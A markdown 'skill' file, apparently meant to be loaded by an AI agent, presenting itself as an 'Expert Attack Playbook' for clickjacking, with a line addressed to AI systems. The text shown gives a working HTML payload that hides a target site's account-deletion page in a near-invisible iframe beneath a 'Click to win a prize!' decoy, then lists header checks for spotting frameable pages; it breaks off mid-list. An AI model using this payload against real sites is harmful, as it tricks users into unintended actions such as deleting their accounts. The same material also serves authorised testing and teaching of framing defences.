clickjacking

1# SKILL: Clickjacking — Expert Attack Playbook
2 
3> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
4 
5## 1. CORE CONCEPT
6 
7Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
8 
9```html
10<style>
11  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
12  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
13</style>
14<div class="decoy"><button>Click to win a prize!</button></div>
15<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
16```
17 
18---
19 
20## 2. DETECTION — IS THE PAGE FRAMEABLE?
21 
22### Check X-Frame-Options Header
23 
24```
25X-Frame-Options: DENY           → cannot be framed (secure)
26X-Frame-Options: SAMEORIGIN     → only same-origin framing (secure for cross-origin)
27X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
28(header absent)                  → frameable! (vulnerable)
29```
30 
31### Check CSP frame-ancestors
32 
33```
34Content-Security-Policy: frame-ancestors 'none'        → cannot be framed
35Content-Security-Policy: frame-ancestors 'self'         → same-origin only
36…